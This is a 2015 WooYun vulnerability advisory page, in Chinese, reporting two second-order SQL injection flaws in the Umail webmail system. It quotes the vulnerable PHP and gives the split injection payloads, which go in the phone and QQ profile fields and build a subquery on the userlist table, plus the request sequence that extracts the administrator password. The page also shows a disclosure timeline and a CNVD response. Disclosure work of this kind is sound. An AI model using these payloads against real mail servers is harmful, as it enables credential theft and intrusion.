当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(40) 关注此漏洞

缺陷编号: WooYun-2015-98495

漏洞标题: Umail最新版2处二次注入(直接出管理员密码)

相关厂商: Umail

漏洞作者: 玉林嘎认证白帽子

提交时间: 2015-03-01 09:03

公开时间: 2015-06-02 08:28

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

21人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-01: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商已经确认,细节仅向厂商公开
2015-03-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-04-28: 细节向核心白帽子及相关领域专家公开
2015-05-08: 细节向普通白帽子公开
2015-05-18: 细节向实习白帽子公开
2015-06-02: 细节向公众公开

简要描述:

跟之前的不一样噢

详细说明:

umail最新版本

banben.png





win2003标准安装





2个二次注入都是因为同一个问题造成



1、

漏洞文件:/fast/pab/module/o_contact.php

364-388行

code 区域
if ( ACTION == "add-search-contact" )
{
$grp = $_POST['grp'];
$type = $_POST['stype'];
$userids = $_POST['userids'];
$user_arr = explode( ",", $userids );
$group_list = explode( ",", $grp );
if ( $type == "oab" || $type == "oabshare" )
{
if ( $user_arr )
{
foreach ( $user_arr as $userid )
{
$user_info = $Mailbox->getUserInfoByID( $userid, "*", 0 );
$data = array(
"user_id" => $user_id,
"fullname" => $user_info['realname'],
"birthday" => $user_info['birthday'],
"pref_email" => $user_info['email'],
"pref_tel" => $user_info['mobil'],
"im_qq" => $user_info['qqmsn'],
"im_msn" => $user_info['qqmsn'],
"updated" => date( "Y-m-d H:i:s" )
);
$contact_id = $PAB->add_contact( $data, 0 );







重要代码

code 区域
$user_info = $Mailbox->getUserInfoByID( $userid, "*", 0 );
$data = array(
"user_id" => $user_id,
"fullname" => $user_info['realname'],
"birthday" => $user_info['birthday'],
"pref_email" => $user_info['email'],
"pref_tel" => $user_info['mobil'],
"im_qq" => $user_info['qqmsn'],
"im_msn" => $user_info['qqmsn'],
"updated" => date( "Y-m-d H:i:s" )
);
$contact_id = $PAB->add_contact( $data, 0 );





POST进来的$userids 切割赋值给 $user_arr 进入2个if语句 遍历数组 进入getUserInfoByID()函数



code 区域
public function getUserInfoByID( $_obfuscate_nQNptTJPg, $_obfuscate_tjILu7ZH = "*", $_obfuscate_ySeUHBw = FALSE )
{
$_obfuscate_nQNptTJPg = intval( $_obfuscate_nQNptTJPg );
$_obfuscate_IRFhnYw = "UserID='".$_obfuscate_nQNptTJPg."'";
$_obfuscate_6RYLWQ = $this->getone_info( $_obfuscate_IRFhnYw, $_obfuscate_tjILu7ZH, $_obfuscate_ySeUHBw );
return $_obfuscate_6RYLWQ;
}





查询出赋值给user_info数组 带入 add_contact



这个跟http://**.**.**.**/bugs/wooyun-2010-093488 getMailboxInfo()这个函数很不一样

这个对应的表是 mailuserinfo 里面的字段username 是不可改变的为初始设置的名字



先看下 操作语句

2.png



code 区域
307 Query	INSERT INTO pab_contact SET `user_id`='',`fullname`='王卫军',`birthday`='0000-00-00',`pref_email`='test@**.**.**.**',`pref_tel`='',`im_qq`='',`im_msn`='',`updated`='2015-02-27 00:23:46'





可以控制的有 pref_tel im_qq im_msn 但其实 im_qq 和 im_msn 值一样的 所以只要 pref_tel im_qq 2个可控



3.png



每个变量都不足于出管理员数据 需要2个同时构造才行

pref_tel 构造成 ',`im_qq`=(select/*

im_qq 构造成 */password from userlist limit 1,1)#



最后语句应该是

code 区域
270 Query	INSERT INTO pab_contact SET `user_id`='3',`fullname`='王卫军',`birthday`='0000-00-00',`pref_email`='test@**.**.**.**',`pref_tel`='',`im_qq`=(select/*',`im_qq`='*/password from userlist limit 1,1)#',`im_msn`='*/password from userlist limit 1,1)#',`updated`='2015-02-27 00:14:46'



我真机智!

漏洞证明:

漏洞证明:

此处可根据之前漏洞可无需登陆即可操作 此处为表达清楚直接登陆操作

先访问 **.**.**.**/webmail/fast/index.php?module=operate&action=login

post:mailbox=test@**.**.**.**&link=?

获取认证



登陆修改

4.png





访问 **.**.**.**/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=test

得到userid(此处为3)



在访问 **.**.**.**/webmail/fast/pab/index.php?module=operate&action=add-search-contact

post:stype=oab&userids=3 (3为上面操作得到的userid)

5.png





最后查看

6.jpg





7.jpg



成功获取管理密码



2、\client\pab\module\o_contact.php



code 区域
if ( ACTION == "add-search-contact" )
{
$grp = $_POST['grp'];
$type = $_POST['stype'];
$userids = id_list_filter( $_POST['userids'] );
$user_arr = explode( ",", $userids );
$group_list = explode( ",", $grp );
if ( $type == "oab" || $type == "oabshare" )
{
if ( $user_arr )
{
foreach ( $user_arr as $userid )
{
$user_info = $Mailbox->getUserInfoByID( ( integer )$userid, "*", 0 );
$data = array(
"user_id" => $user_id,
"fullname" => $user_info['realname'],
"birthday" => $user_info['birthday'],
"pref_email" => $user_info['email'],
"pref_tel" => $user_info['mobil'],
"im_qq" => $user_info['qqmsn'],
"im_msn" => $user_info['qqmsn'],
"updated" => date( "Y-m-d H:i:s" )
);
$contact_id = $PAB->add_contact( $data, 0 );



同样的问题 需登陆 此处不证明了吧

修复方案:

你们自己想办法咯

版权声明:转载请注明来源 玉林嘎@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-03-04 08:28

厂商回复:

CNVD未在实例上复现,作为本地实例确认,已经按以往渠道向软件生产厂商通报.

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-02-27 10:06 | answer 认证白帽子 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
    0

    膜拜大牛 溜溜

  2. 2015-06-02 11:09 | 胡小树 ( 实习白帽子 | Rank:66 漏洞数:13 | 我是一颗小小树)
    0

    好多钱钱,分析也很赞

  3. 2016-01-11 23:08 | komas ( 普通白帽子 | Rank:107 漏洞数:25 )
    0

    膜拜ing

登录后才能发表评论,请先 登录